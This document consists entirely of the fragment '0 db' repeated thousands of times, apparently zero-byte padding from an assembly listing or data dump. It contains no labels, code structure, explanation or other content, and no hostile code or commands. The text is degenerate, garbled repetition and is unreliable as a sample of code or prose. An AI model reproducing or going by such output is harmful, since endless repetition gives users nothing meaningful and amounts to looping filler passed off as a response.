0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 